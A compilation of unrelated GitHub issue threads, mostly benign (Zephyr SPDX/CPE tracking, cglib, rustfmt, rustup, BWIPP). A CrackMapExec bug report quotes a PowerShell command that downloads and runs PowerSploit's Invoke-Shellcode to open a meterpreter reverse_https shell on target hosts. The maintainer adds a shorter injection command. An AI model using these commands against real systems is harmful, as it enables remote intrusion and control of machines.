LicenseInfoInFile: BSD-2-Clause
FileCopyrightText: NOASSERTION

[...]

FileName: ./zephyr/arch/arm/core/aarch32/cortex_m/fpu.c
SPDXID: SPDXRef-File-fpu.c
FileChecksum: SHA1: d0b6e9468d876cffece8f1daedda213b110e0897
FileChecksum: SHA256: 7106647bfd9ef657c88676d3dfba47eb0a68787d82a77553fc9221c61a72890f
LicenseConcluded: Apache-2.0
LicenseInfoInFile: Apache-2.0
FileCopyrightText: NOASSERTION

This would be the new zephyr.spdx (truncated):
##### Package: open-amp

PackageName: open-amp
SPDXID: SPDXRef-zephyr-open-amp
PackageDownloadLocation: NOASSERTION
PackageLicenseConcluded: BSD-2-Clause
PackageLicenseDeclared: NOASSERTION
PackageCopyrightText: NOASSERTION
PackageLicenseInfoFromFiles: Apache-2.0
PackageLicenseInfoFromFiles: BSD-2-Clause
PackageLicenseInfoFromFiles: BSD-3-Clause
PackageLicenseInfoFromFiles: GPL-2.0
FilesAnalyzed: true
PackageDownloadLocation: https://github.com/zephyrproject-rtos/open-amp
PackageVersion: a85bb3676d61d1ae202088e0d3fec556056b2c9e
PackageVerificationCode: dfcc87d6d6a69b23d5e73101ba09f3bfffac9b7e

FileName: ./modules/lib/open-amp/open-amp/lib/virtio/virtio.c
SPDXID: SPDXRef-File-virtio.c
FileChecksum: SHA1: 912b847c1d3ad77478dd7aa06765a4f7d5cd2582
FileChecksum: SHA256: f86e11e5333d86ed23d2b602fd3ae8283d295760444362558faa0860ec21e62a
LicenseConcluded: BSD-2-Clause
LicenseInfoInFile: BSD-2-Clause
FileCopyrightText: NOASSERTION

[...]

 ##### Package: zephyr

PackageName: zehpyr
SPDXID: SPDXRef-zephyr
PackageDownloadLocation: NOASSERTION
PackageLicenseConcluded: BSD-2-Clause
PackageLicenseDeclared: NOASSERTION
PackageCopyrightText: NOASSERTION
PackageLicenseInfoFromFiles: Apache-2.0
FilesAnalyzed: true
PackageVerificationCode: dfcc87d6d6a69b23d5e73101ba09f3bfffac9b7e
PackageVersion: f6628a30581d8d4b80954af163b83ce065e87467
PackageDownloadLocation: https://github.com/zephyrproject-rtos/zephyr
ExternalRef: SECURITY cpe23Type cpe:2.3:o:zephyrproject:zephyr:1.9.0:rc3:*:*:*:*:*:*

FileName: ./zephyr/arch/arm/core/aarch32/cortex_m/fpu.c
SPDXID: SPDXRef-File-fpu.c
FileChecksum: SHA1: d0b6e9468d876cffece8f1daedda213b110e0897
FileChecksum: SHA256: 7106647bfd9ef657c88676d3dfba47eb0a68787d82a77553fc9221c61a72890f
LicenseConcluded: Apache-2.0
LicenseInfoInFile: Apache-2.0
FileCopyrightText: NOASSERTION

[...]

Most of the data would be present in meta file which is a file generated by zephyr_module.py script. It contains local path to all projects/modules with current revision.
This would be the tasks to get there:

[ ] Call zephyr_module.py, with  --meta-out option by default: This file allows to get the list of all package/submodules in west with revision. Check zephyr_module.cmake for details.
[ ]  Update SPDX script algorithm that generates SPDX to separate packages (present in meta file) and include the correct files in each package.
[ ]  Update specification for module.yml with my previous message proposing to add CPE fields to module.yml (it was only a draft and more reflexion should be done of course)
[ ] Extract remote URL form west.yml and include it in meta file
[ ] Extract CPE from module.yml and include it in meta file
[ ] Extract all necessary information from meta file and include it in SPDX file

What do you think ?

An additional question, would it be interesting to open a CPE for all zephyr modules ?
There is the existing one cpe:2.3:o:zephyrproject:zephyr:-:*:*:*:*:*:*:* for the kernel but maybe it would make sense to add these for exemple:

cpe:2.3:o:zephyrproject:mbedtls:-:*:*:*:*:*:*:*
cpe:2.3:o:zephyrproject:trusted_firmware-m:-:*:*:*:*:*:*:*

Is it something that should be considered ?
Thanks

Hi,
Thanks for the update.
I was at the security meeting yesterday, and if I'm not mistaken one of the solution would be to extend Zephyr module.yml with CPE.
For example:
build:
  cmake-ext: True
  kconfig-ext: True
  cpe: cpe:2.3:a:arm:mbed_tls:2.4.2:-:*:*:*:*:*:*

This would allow to detect CVE from mainstream repository. It would be easier to detect CVE for the maintainer of the module and fix them. However, we need to track the CVE we patched, else the scan will always returns the same CVEs, even the ones that are patched.
A solution for this, would be to have a VEX (which would indicate which CVE are presents and their status) in each Zephyr modules (if needed).
What do you think ?
Thanks

This is an updated module.yml proposition:
diff --git a/scripts/zephyr_module.py b/scripts/zephyr_module.py
index 59679a6ea8..abbb8861ba 100755
--- a/scripts/zephyr_module.py
+++ b/scripts/zephyr_module.py
@@ -95,6 +95,17 @@ mapping:
     type: seq
     sequence:
       - type: str
+  vulnerabilities:
+    remote_cpe:
+      required: false
+      type: seq
+      sequence:
+        - type: str
+    vex:
+      required: false
+      type: seq
+      sequence:
+        - type: str
 '''

remote_cpe would contains the cpe of the repository that has been forked (it's a list to allow to add cpe from dependencies if necessary)
vex would contains path to VEX files used to filter the CVE treated. This is not meant to be integrated right now but shows some evolution for this. OpenVEX is an example of VEX specification we could use.

With this, I think we could have a better way to detect/automate and manage CVE in zephyr submodules.

An additional question, would it be interesting to open a CPE for all zephyr modules ?
There is the existing one cpe:2.3:o:zephyrproject:zephyr:-:*:*:*:*:*:*:* for the kernel but maybe it would make sense to add these for exemple:

cpe:2.3:o:zephyrproject:mbedtls:-:*:*:*:*:*:*:*
cpe:2.3:o:zephyrproject:trusted_firmware-m:-:*:*:*:*:*:*:*

Only for Zephyr imho, we are not assigning any cve to modules and consequently these CPEs don't exist. (At least for now)

Package: open-amp
PackageName: open-amp
SPDXID: SPDXRef-zephyr-open-amp
PackageDownloadLocation: NOASSERTION
PackageLicenseConcluded: BSD-2-Clause
PackageLicenseDeclared: NOASSERTION
PackageCopyrightText: NOASSERTION
PackageLicenseInfoFromFiles: Apache-2.0
PackageLicenseInfoFromFiles: BSD-2-Clause
PackageLicenseInfoFromFiles: BSD-3-Clause
PackageLicenseInfoFromFiles: GPL-2.0
FilesAnalyzed: true
PackageDownloadLocation: https://github.com/zephyrproject-rtos/open-amp
PackageVersion: a85bb3676d61d1ae202088e0d3fec556056b2c9e

The package version should be the version used by the project that we have forked. Most tools use PackageName + PackageVersion to query CVE databases AFAIK.
Regarding CPEs that is right for me, though the tool that I used to test seems to ignore it (https://github.com/intel/cve-bin-tool).
I wouldn't care with vex for now for the sake of simplicity.
I think that is good plan and is correct.

Only for Zephyr imho, we are not assigning any cve to modules and consequently these CPEs don't exist. (At least for now)

I know, and I think modules should have their own CPE on NVD database. If I'm correct modules are forked from mainline project but sometimes there is some additions to it (It could be a backported patch). So it's not the original one.
If one of these additions causes a CVE, Zephyr wouldn't be able to report it to someone using the SBOM to track CVE.
This can probably wait for Zephyr to correctly detect and report CVE from its modules, but in my opinion, this is how it should be done at the end.

The package version should be the version used by the project that we have forked.

Yes you are right, however west.yml provides commit ID and not version number. Moreover it seems that zephyr modules have rarely tags/version number. So, I'm not sure what's the solution here, especially if we add CPE for zephyr modules. Should we force tag instead of commit in west.yml ?

Only for Zephyr imho, we are not assigning any cve to modules and consequently these CPEs don't exist. (At least for now)

I know, and I think modules should have their own CPE on NVD database. If I'm correct modules are forked from mainline project but sometimes there is some additions to it (It could be a backported patch). So it's not the original one.
If one of these additions causes a CVE, Zephyr wouldn't be able to report it to someone using the SBOM to track CVE.

Fair enough, it doesn't hurt :)

This can probably wait for Zephyr to correctly detect and report CVE from its modules, but in my opinion, this is how it should be done at the end.

The package version should be the version used by the project that we have forked.

Yes you are right, however west.yml provides commit ID and not version number. Moreover it seems that zephyr modules have rarely tags/version number. So, I'm not sure what's the solution here, especially if we add CPE for zephyr modules. Should we force tag instead of commit in west.yml ?

I'd let each module set its own. e.g:
build:
  cmake-ext: True
  kconfig-ext: True
  version: 2.4.2
  cpe: cpe:2.3:a:arm:mbed_tls:2.4.2:-:*:*:*:*:*:*

I think it could cause some issue to do that.
You would need to update this version each time you update west.yml in zephyr. If you don't you could have patch a vulnerability present in 2.4.1, but if you forgot to update the version to 2.4.2, and CPE would report a CVE. So if you need to update version each time you update west.yml, I think a tag is safer (and it's easier to enforce it).

Ok thank you, this will help me create the related PR (first PR, adding modules in BSOM, is in review).

Basically this will need to be update anytime the module is updated and should contains the version the module is using.

There was a misunderstanding on this. For tracking the CVE from the forked/remote repository (for example mbedtls), I created the field external-references. This field should contain CPE/PURL and thus, the version of the remote repository (for exemple, cpe:2.3:a:arm:mbed_tls:2.4.2:-:*:*:*:*:*:*), so no need to use this version field to track vulnerabilities from the forked repository.
My goal here was to add versioning to zephyr modules themselves, but this version field is not a good solution. A tag is better solution. If version field is in module.yml you can't easily check if there was some commit between the commit that set version and the current commit (and mark it as "dirty").
By the way, the problem is probably the same on the CPE field.
The goal of versioning zephyr modules is to allow better vulnerabilities tracking. Each module should report vulnerabilities as a CVE (with CPE cpe:2.3:o:zephyrproject:<module name>:<module version>:*:*:*:*:*:*:*) and/or to the Security tabs (Github Advisiory Database). This version would be reported in the SBOM, and allows SBOM tools to track modules vulnerabilities.
So, I would like to have your feedback on these two points @ceolin :

For modules versioning, I think we should start having tag.
For the CPE, I'm not sure how we can solve this. Maybe cpe_vendor and cpe_product and CPE would be automatically generated from these fields and tag. However, it means that we have some "specification" to transform tag to version (that might not work with external modules not following this spec).

I hope I've been clear enough.
Thanks

Indeed, I wanted modules maintainers to track and fix CVE. So I think it's okay to give the responsability to developer using zephyr (and maybe change this later).
So for this:

I would remove the versionand cpefield I talked about.
SPDX would use commit id of the module as version (the goal of the zephyr.spdx is to track modules not forked repositories).
I would replace the remote_cpe by external-refs (or something like that) to support multiple format like CPE, PURL, ... This would allow to track vulnerabilities in remote/forked repository.
I would create a new SBOM/SPDX file (modules.spdx for example) that would contains the modules and all associated external-refs.
Any user that want to track vulnerabilities on modules (in fact, original repositories) would need to scan this SBOM for vulnerabilities (using cve-bin-tool for example)

I'm currently working on a PR for cve-bin-tool to support CPE field.
Does it looks good to you ?

@ceolin I was able to implement the behavior of my previous message. I'll submit the PR if you find the result satisfying.
With the following mbedtls module.yml:
build:
  cmake-ext: True
  kconfig-ext: True
vulnerabilities:
  external-references:
    - cpe:2.3:a:arm:mbed_tls:2.4.2:-:*:*:*:*:*:*
    - pkg:github.com/Mbed-TLS/mbedtls

and CMSIS module.yml:
build:
  cmake-ext: true
  kconfig-ext: true
vulnerabilities:
  external-references:
    - cpe:2.3:o:arm:cmsis-rtos:2.1.2:*:*:*:*:*:*:*
    -<EMAIL_ADDRESS>
The content of zephyr.yml would look like this:
SPDXVersion: SPDX-2.2
DataLicense: CC0-1.0
SPDXID: SPDXRef-DOCUMENT
DocumentName: zephyr-sources
DocumentNamespace: http://spdx.org/spdxdocs/zephyr-c175a74f-dfb6-464d-b6de-18292aa77aba/zephyr
Creator: Tool: Zephyr SPDX builder
Created: 2024-01-29T12:43:38Z

Relationship: SPDXRef-DOCUMENT DESCRIBES SPDXRef-zephyr-sources
Relationship: SPDXRef-DOCUMENT DESCRIBES SPDXRef-example-application-sources
Relationship: SPDXRef-DOCUMENT DESCRIBES SPDXRef-cmsis-sources
Relationship: SPDXRef-DOCUMENT DESCRIBES SPDXRef-hal-nordic-sources
Relationship: SPDXRef-DOCUMENT DESCRIBES SPDXRef-stm32-sources
Relationship: SPDXRef-DOCUMENT DESCRIBES SPDXRef-mbedtls-sources

##### Package: zephyr-sources

PackageName: zephyr-sources
SPDXID: SPDXRef-zephyr-sources
PackageLicenseConcluded: Apache-2.0
PackageLicenseDeclared: NOASSERTION
PackageCopyrightText: NOASSERTION
PackageDownloadLocation: https://github.com/tgagneret-embedded/zephyr
PackageVersion: aefe1ae3057acf568ac5e5c05358928709a33274
PackageLicenseInfoFromFiles: Apache-2.0
FilesAnalyzed: true
PackageVerificationCode: 738e8f33d234882a0a68fd4a8af97a45b59e2e6a

[ Zephyr source files were removed ]

##### Package: example-application-sources

PackageName: example-application-sources
SPDXID: SPDXRef-example-application-sources
PackageLicenseConcluded: Apache-2.0
PackageLicenseDeclared: NOASSERTION
PackageCopyrightText: NOASSERTION
PackageDownloadLocation: https://github.com/zephyrproject-rtos/example-application
PackageVersion: 83356c31c2d7c3a3ca15aa62bfc8040ba9979b30-dirty
PackageLicenseInfoFromFiles: Apache-2.0
FilesAnalyzed: true
PackageVerificationCode: b99e0f3358880e352c95b830eae486963e8ebf69

FileName: ./drivers/sensor/examplesensor/examplesensor.c
SPDXID: SPDXRef-File-examplesensor.c
FileChecksum: SHA1: de1e82ca42e644e764194d02b0b00c7e2a327eb5
FileChecksum: SHA256: fb7dbba1c176481a3976ed6e89586c2f2afc5c34adb910b1e3b07dd86a1a5cc5
LicenseConcluded: Apache-2.0
LicenseInfoInFile: Apache-2.0
FileCopyrightText: NOASSERTION

##### Package: cmsis-sources

PackageName: cmsis-sources
SPDXID: SPDXRef-cmsis-sources
PackageLicenseConcluded: NOASSERTION
PackageLicenseDeclared: NOASSERTION
PackageCopyrightText: NOASSERTION
PackageDownloadLocation: https://github.com/zephyrproject-rtos/cmsis
PackageVersion: 4b96cbb174678dcd3ca86e11e1f24bc5f8726da0-dirty
FilesAnalyzed: false
PackageComment: Utility target; no files

##### Package: hal-nordic-sources

PackageName: hal-nordic-sources
SPDXID: SPDXRef-hal-nordic-sources
PackageLicenseConcluded: BSD-3-Clause
PackageLicenseDeclared: NOASSERTION
PackageCopyrightText: NOASSERTION
PackageDownloadLocation: https://github.com/zephyrproject-rtos/hal_nordic
PackageVersion: 64bd075a06f6a16d6ea9101cda82b41465a35211
PackageLicenseInfoFromFiles: BSD-3-Clause
FilesAnalyzed: true
PackageVerificationCode: 62afec6f1f8abe0783850523129e45655f824cf4

FileName: ./nrfx/drivers/src/nrfx_clock.c
SPDXID: SPDXRef-File-nrfx-clock.c
FileChecksum: SHA1: 2a034c9f752c5af3d924d013448ae048106a2d8c
FileChecksum: SHA256: 2a86f520c58c4959e8ddb657ac4c8770e1aba0316f10948f7b0ae6139128c0fb
LicenseConcluded: BSD-3-Clause
LicenseInfoInFile: BSD-3-Clause
FileCopyrightText: NOASSERTION

FileName: ./nrfx/drivers/src/nrfx_gpiote.c
SPDXID: SPDXRef-File-nrfx-gpiote.c
FileChecksum: SHA1: efb153729e4d2c1ed2b740c410010985497bcde7
FileChecksum: SHA256: f915a718a7da91fa2d93936255081ea460414989492365068a6b609f8f512833
LicenseConcluded: BSD-3-Clause
LicenseInfoInFile: BSD-3-Clause
FileCopyrightText: NOASSERTION

FileName: ./nrfx/helpers/nrfx_flag32_allocator.c
SPDXID: SPDXRef-File-nrfx-flag32-allocator.c
FileChecksum: SHA1: 8f6a3c17b0630d25309a08b0a14b97746a620efb
FileChecksum: SHA256: c5a5218e1bb253bb307f1e3b9df3b5d2ca8fb50068893aea40e690f844e84141
LicenseConcluded: BSD-3-Clause
LicenseInfoInFile: BSD-3-Clause
FileCopyrightText: NOASSERTION

FileName: ./nrfx/mdk/system_nrf52840.c
SPDXID: SPDXRef-File-system-nrf52840.c
FileChecksum: SHA1: 1712c372feb09c391c5a1437239c1df9d7c9dd61
FileChecksum: SHA256: 04f9af048d8c24607bcbd74a6062a57474ae851f823d39f8e6fcf4997d442362
LicenseConcluded: BSD-3-Clause
LicenseInfoInFile: BSD-3-Clause
FileCopyrightText: NOASSERTION

##### Package: stm32-sources

PackageName: stm32-sources
SPDXID: SPDXRef-stm32-sources
PackageLicenseConcluded: NOASSERTION
PackageLicenseDeclared: NOASSERTION
PackageCopyrightText: NOASSERTION
PackageDownloadLocation: https://github.com/zephyrproject-rtos/hal_stm32
PackageVersion: 22925907a6faeb601fc9a0d8cbb65c4b26d38043
FilesAnalyzed: false
PackageComment: Utility target; no files

##### Package: mbedtls-sources

PackageName: mbedtls-sources
SPDXID: SPDXRef-mbedtls-sources
PackageLicenseConcluded: NOASSERTION
PackageLicenseDeclared: NOASSERTION
PackageCopyrightText: NOASSERTION
PackageDownloadLocation: https://github.com/zephyrproject-rtos/mbedtls
PackageVersion: 66ed2279d6222056af172c188eaf4dcfed481032-dirty
FilesAnalyzed: false
PackageComment: Utility target; no files

and the content of modules-deps.spdx would look like this:
SPDXVersion: SPDX-2.2
DataLicense: CC0-1.0
SPDXID: SPDXRef-DOCUMENT
DocumentName: modules-deps
DocumentNamespace: http://spdx.org/spdxdocs/zephyr-c175a74f-dfb6-464d-b6de-18292aa77aba/modules-deps
Creator: Tool: Zephyr SPDX builder
Created: 2024-01-29T12:43:38Z

Relationship: SPDXRef-DOCUMENT DESCRIBES SPDXRef-example-application-deps
Relationship: SPDXRef-DOCUMENT DESCRIBES SPDXRef-cmsis-deps
Relationship: SPDXRef-DOCUMENT DESCRIBES SPDXRef-hal-nordic-deps
Relationship: SPDXRef-DOCUMENT DESCRIBES SPDXRef-stm32-deps
Relationship: SPDXRef-DOCUMENT DESCRIBES SPDXRef-mbedtls-deps

##### Package: example-application-deps

PackageName: example-application-deps
SPDXID: SPDXRef-example-application-deps
PackageLicenseConcluded: NOASSERTION
PackageLicenseDeclared: NOASSERTION
PackageCopyrightText: NOASSERTION
PackageDownloadLocation: NOASSERTION
FilesAnalyzed: false
PackageComment: Utility target; no files

##### Package: cmsis-deps

PackageName: cmsis-deps
SPDXID: SPDXRef-cmsis-deps
PackageLicenseConcluded: NOASSERTION
PackageLicenseDeclared: NOASSERTION
PackageCopyrightText: NOASSERTION
PackageDownloadLocation: NOASSERTION
ExternalRef: SECURITY cpe23Type cpe:2.3:o:arm:cmsis-rtos:2.1.2:*:*:*:*:*:*:*
ExternalRef: PACKAGE_MANAGER purl<EMAIL_ADDRESS>FilesAnalyzed: false
PackageComment: Utility target; no files

##### Package: hal-nordic-deps

PackageName: hal-nordic-deps
SPDXID: SPDXRef-hal-nordic-deps
PackageLicenseConcluded: NOASSERTION
PackageLicenseDeclared: NOASSERTION
PackageCopyrightText: NOASSERTION
PackageDownloadLocation: NOASSERTION
FilesAnalyzed: false
PackageComment: Utility target; no files

##### Package: stm32-deps

PackageName: stm32-deps
SPDXID: SPDXRef-stm32-deps
PackageLicenseConcluded: NOASSERTION
PackageLicenseDeclared: NOASSERTION
PackageCopyrightText: NOASSERTION
PackageDownloadLocation: NOASSERTION
FilesAnalyzed: false
PackageComment: Utility target; no files

##### Package: mbedtls-deps

PackageName: mbedtls-deps
SPDXID: SPDXRef-mbedtls-deps
PackageLicenseConcluded: NOASSERTION
PackageLicenseDeclared: NOASSERTION
PackageCopyrightText: NOASSERTION
PackageDownloadLocation: NOASSERTION
ExternalRef: SECURITY cpe23Type cpe:2.3:a:arm:mbed_tls:2.4.2:-:*:*:*:*:*:*
ExternalRef: PACKAGE_MANAGER purl pkg:github.com/Mbed-TLS/mbedtls
FilesAnalyzed: false
PackageComment: Utility target; no files

The contents look reasonable to me. What I am not sure is the output format. Have you tested it against some tool that searches for CVEs in SBOM ?
This is gold btw, thanks for working on it :)

I submited modules-deps.spdx to cve-bin-tool:

PURL are correctly detected (to be detected, version must be provided in the PURL).
CPE are detected but it's due to my local changes, PR is not merged yet.

So it looks good to me. Do you think of something in particular that could not work ?

I also run it against pyspdxtools and it validates it.
Moreover SPDX specification allows a list of externalRef.


Use line length of 100

These lines were not being reformatted.
To find them, nightly rustfmt is needed using https://github.com/rust-lang/rustfmt/issues/3391
Is this worth the blame changes?
If so, should I also add CI to install nightly rustfmt and check with that option?

I'm fine with the blame changes.
Putting nightly rustfmt with error_on_line_overflow in CI seems nice-to-have, but hardly mission critical.


Avoid PermGen leak

The key object put in the cache may be an instance of a dynamically generated class that references an application classloader. That reference causes said classloader to not be available for garbage collection, thus leaking the PermGen with old classes when that classloader is not needed anymore. This is mostly experienced in application restart scenarios, where each application has its own classloader managed in a long-lived container.
Attached is an exceprt from a heap dump that shoes the reference to the classloader that causes the issue:

This is a rework of https://github.com/cglib/cglib/pull/49
Icludes the tests added in https://github.com/cglib/cglib/pull/50
The change is essentially flattening the key ised in the cache to a string, which contains the fully qualified types of the defined classes.

Why do you think it is better than #50?

Here are the measurements (you can reproduce via https://github.com/cglib/cglib/pull/55)
https://github.com/cglib/cglib/pull/54:
Benchmark                                        Mode  Cnt     Score     Error   Units
BeansBenchmark.newInstance                       avgt    5  3164,626 ± 147,531   ns/op
BeansBenchmark.newInstance:·gc.alloc.rate.norm   avgt    5  3128,001 ±   0,001    B/op

https://github.com/cglib/cglib/pull/50:
Benchmark                                        Mode  Cnt     Score     Error   Units
BeansBenchmark.newInstance                       avgt    5  2607,519 ± 195,528   ns/op
BeansBenchmark.newInstance:·gc.alloc.rate.norm   avgt    5  1272,001 ±   0,001    B/op

As you see, additional toString allocates like 3128-1272=1856 bytes per call of  Beans.newInstance(Beans.class)
toString is slower as well

That's okay. I just wanted to keep this as an option. Thanks for the bechmark!

Will try another approach with Customizer/FieldTypeCustomizer classes: Map<Class, List<KeyFactoryCustomizer>>

Please check updated PR.
I've used different interfaces for Customizer, FieldTypeCustomizer, etc, so no more instanceof checks in the business code.

This is fixed by #54.


replaced ".decode('utf8')" with "unicode(x, errors='ignore')"

Was running the cmd:
./crackmapexec.py -t 25 some-ips.txt --execm wmi -u user -p password -x "cmd.exe /c powershell.exe -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost MY-IP -Lport 443 -Force"
After all the fail/success messages at logging in, it tried to display the output of running the powershell command but failed:
Traceback (most recent call last):
  File "/usr/local/lib/python2.7/dist-packages/gevent/greenlet.py", line 327, in run
    result = self._run(*self.args, **self.kwargs)
  File "./crackmapexec.py", line 2981, in connect
    print_att(result)
  File "./crackmapexec.py", line 63, in <lambda>
    print_att    = lambda x: cprint(x.decode('utf8'), 'yellow', attrs=['bold'])
  File "/usr/lib/python2.7/encodings/utf_8.py", line 16, in decode
    return codecs.utf_8_decode(input, errors, True)
UnicodeDecodeError: 'utf8' codec can't decode byte 0x83 in position 83: invalid start byte
<Greenlet at 0x396a410: connect('<VICTIMIP>')> failed with UnicodeDecodeError

The offending code:
                elif args.execm == 'wmi':
                    executer = WMIEXEC(args.command, args.user, args.passwd, domain, args.hash, args.share, noOutput)
                    result = executer.run(host, smb)
                    if result:
                        print_succ('{}:{} {} Executed specified command via WMI'.format(host, args.port, s_name))
                        print_att(result)

And:
print_att    = lambda x: cprint(x.decode('utf8'), 'yellow', attrs=['bold'])

The variable result is just the powershell error message but it contains the character \x83 for some reason which apparently is not utf8 decodeable.
"Invoke-Shellcode : A positional parameter cannot be found that accepts argument\r\n '\x83??Payload'.\r\nAt line:1 char:171\r\n+ IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.\r\ncom/mattifestation/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); In\r\nvoke-Shellcode <<<<  \x83??Payload windows/meterpreter/reverse_https \x83??Lhost IP\r\nIP \x83??Lport 443 \x83??Force\r\n    + CategoryInfo          : InvalidArgument: (:) [Invoke-Shellcode], Paramet \r\n   erBindingException\r\n    + FullyQualifiedErrorId : PositionalParameterNotFound,Invoke-Shellcode\r\n \r\n"
So I googled the unicode error and it lead me to: http://stackoverflow.com/questions/12468179/unicodedecodeerror-utf8-codec-cant-decode-byte-0x9c and I replaced all x.decode('utf8') with unicode(x, errors='ignore') and that seemed to fix the problem as it'll still print everything it can, it'll just ignore any nonunicode characters.

@DanMcInerney I'll see if i can reproduce this before merging, never ran into this before when executing powershell code. Also, FYI if you want to inject meterpreter using Invoke-Shellcode you can just run:
python crackmapexec.py -t 100 target-ips -u username -p password --force-ps32 --inject met_reverse_https --met-options <IP_ADDRESS> 4545 and it will do everything for you ;)

To reproduce you have to use the long dash like you'd see when you type -- in Word and it autocorrects it. I copied the command out of Notepad which seems to turn single dash's into long dashes. So that \x83 character is actually the long dash which is apparently unsupported in utf-8.

Reproduced and merged, thanks! I've made some changes to make sure that if we are able to decode the char to utf8 it will get printed


White line above url bar still present in Chrome 61

The readme says the white line above the url bar should be fixed but I can still see it.
Mac OS High Sierra (10.13)
Chrome Version 61.0.3163.100 (Official Build) (64-bit)

I was previously referring to an issue on Windows 10. Sorry, I can't do anything about debugging issues on macOS as I do not own any Mac computers.


Add support for mermaid formatters

I would be awesome to have a mermaid formater. I would allow to embed the violations graph in a markdown report (github support that)

there is an open PR to add this feature: #948

Amazing, but it looks like it's dead :(

Closed by https://github.com/qossmic/deptrac-src/pull/20


feat : fix memberMap and test

Related Issue
resolve: #103
Description

fix memberMap and test

Checklist
Thank you for your contribution.
Before submitting this PR, please make sure:

[x] Applying goimports
[x] Test case
[x] End of Work

LGTM!


⚠ 366.ru has degraded performance

In 676298a, 366.ru (https://366.ru) experienced degraded performance:

HTTP code: 200
Response time: 1060 ms

Resolved: 366.ru performance has improved in 415abc1.


Algorithmic generation of JI (ratio) scales using prime subgroups together with Farey, Tenney, Barlow, Euler, Sabat harmonicity measures

Farey interpolation would generate mediants and throw away ones that don't fit in the prime / odd limit / subgroup constraint, same for Tenney Benedetti (num*den).

Euler and Barlow evaluate an "ordering" of the natural numbers by prime factorisation, and this is applied to fractions: Euler used LCM and evaluates his function, while Barlow sums his "indigestibility" and multiplies by sign of the difference to add "polarity" to the interval. Pictures of the equations on discord

sorry, yes, the two should be in the same issue, of course, my mistake!


Add support for textxalign=full

Stretch the inter-character gap to fill the width of the symbol. Observe padding.
Consider formats for which this might be the default.

Hello, i'm a newer. Now, I use BWIPP with some problems: I want to convert .ps  to .png  with ghostscrtpt.  with the command line, i can convert it. And i want write a programm invok ghostscript  api. but i dot know how to pass parameters(such as: 0 0 moveto (01335583) (includetext)  /ean8 /uk.co.terryburton.bwipp findresource exec)  to ghostscript api. Coudle you give me any suggestions?

@linhuikui Please use a new issue for new questions.
From what language are you invoking the GS API? Have you read http://www.ghostscript.com/doc/current/API.htm and what exactly have you already tried?

Thank you for your answer.
I'm using C language, and tried the APIs from http://www.ghostscript.com/doc/current/API.htm . if just use a .ps
file it is worked, while use barcode.ps, I don.t know how to pass parameters(such as: 0 0 moveto (01335583) (includetext) /ean8 /uk.co.terryburton.bwipp findresource exec) to ghostscript api. is it  gsapi_run_string()?

simply, I want usr C language generated a .bmp file form barcode.ps with barcode. my purpose is get binary or text string  which is coded, and print use my printer.

This issue tracker isn't really the place for general assistance with some third-party's API and I've never used the GS API directly myself. I would suggest providing complete examples of what you have tried on Stack Exchange then send me the link.
If you still can't get assistance then you should try the GhostScript mailing list, however you are unlikely to receive any attention unless they can see what you've tried a few things yourself.


feat: add ability to pass a custom health checker

Motivation and Context
Not all infra uses the same protocol for checking health. Allow the consumer to pass their own handlers for managing system health.

[ ] Tests or benchmark included
[ ] Documentation is changed or added on https://app.gitbook.com/
[x] PR title must follow conventional-commit-standard

Done.


libcurl HTTPS issues on FreeBSD

I'm not certain whether this is actually Rustup's fault, but I'm having issues with https connections in Rustup on FreeBSD.
$ curl https://sh.rustup.rs -sSf | sh -s -- -y
info: downloading installer
info: syncing channel updates for 'stable-x86_64-unknown-freebsd'
error: could not download file from 'https://static.rust-lang.org/dist/channel-rust-stable.toml.sha256' to '/home/vagrant/.rustup/tmp/4lfxi8knrpct9x3e_file'
info: caused by: error during download
info: caused by: [1] Unsupported protocol (Protocol "https" not supported or disabled in libcurl)

Curl claims to support https and when I try to hit an https URL directly with it, it works.
$ curl -V
curl 7.53.1 (amd64-portbld-freebsd10.3) libcurl/7.53.1 OpenSSL/1.0.1t zlib/1.2.8 nghttp2/1.21.1
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smtp smtps telnet tftp
Features: AsynchDNS IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP HTTP2 UnixSockets HTTPS-proxy

I'm also not seeing multiple libcurls installed either...
$ locate libcurl
/usr/local/lib/libcurl.a
/usr/local/lib/libcurl.so
/usr/local/lib/libcurl.so.4
/usr/local/lib/libcurl.so.4.4.0
/usr/local/libdata/pkgconfig/libcurl.pc
/usr/local/man/man3/libcurl-easy.3.gz
/usr/local/man/man3/libcurl-errors.3.gz
/usr/local/man/man3/libcurl-multi.3.gz
/usr/local/man/man3/libcurl-share.3.gz
/usr/local/man/man3/libcurl-symbols.3.gz
/usr/local/man/man3/libcurl-thread.3.gz
/usr/local/man/man3/libcurl-tutorial.3.gz
/usr/local/man/man3/libcurl.3.gz
/usr/local/share/aclocal/libcurl.m4
/usr/local/share/doc/curl/libcurl
/usr/local/share/doc/curl/libcurl/ABI
/usr/local/share/doc/curl/libcurl/index.html
/usr/local/share/doc/curl/libcurl/libcurl.m4

$ locate bin/curl
/usr/local/bin/curl
/usr/local/bin/curl-config

Anyway, my apologies if this is not actually Rustup's fault.

See https://github.com/rust-lang-nursery/rustup.rs/issues/1051

Closing as a duplicate.


[Win] KeyError: 'width'

The logs from boosty_archiver are quite verbose, and the stylization doesn't make it too much easier to condense into a log.
There's a bit of cookie and token data spilled into the logs that I have mostly redacted, but aside from being a log from paywalled content, I have taken the precaution to password zip the log anyway to avoid scraping. The password is simply ytsoob
error.zip

I see, I found out in log that default image to post, that you have https://images.boosty.to/image/69a5ee03-b9c8-4e53-acfb-163b510443c0 point out to default asset https://images.boosty.to/stubs/default.png
It may be deleted or something like that, because of that it does not have width, height and size.
I can solve it into either a) check for fields and skip or b) grab fields with fallback.
The first solution would stop from downloading default.pngs which is better, but if for some reason there is actual image in the API that it can't determine dimensions, say, svg, then this would be not ideal solution.

Also if width and height are relatively not important, I still use size to check if I should redownload file if file is present and DB is not used. (for a cases like partial download - it will redownload)
So if I will use fallback solution this will not be ideal as I would need to somehow compare files.

I've added fix, check if it solve the issue.

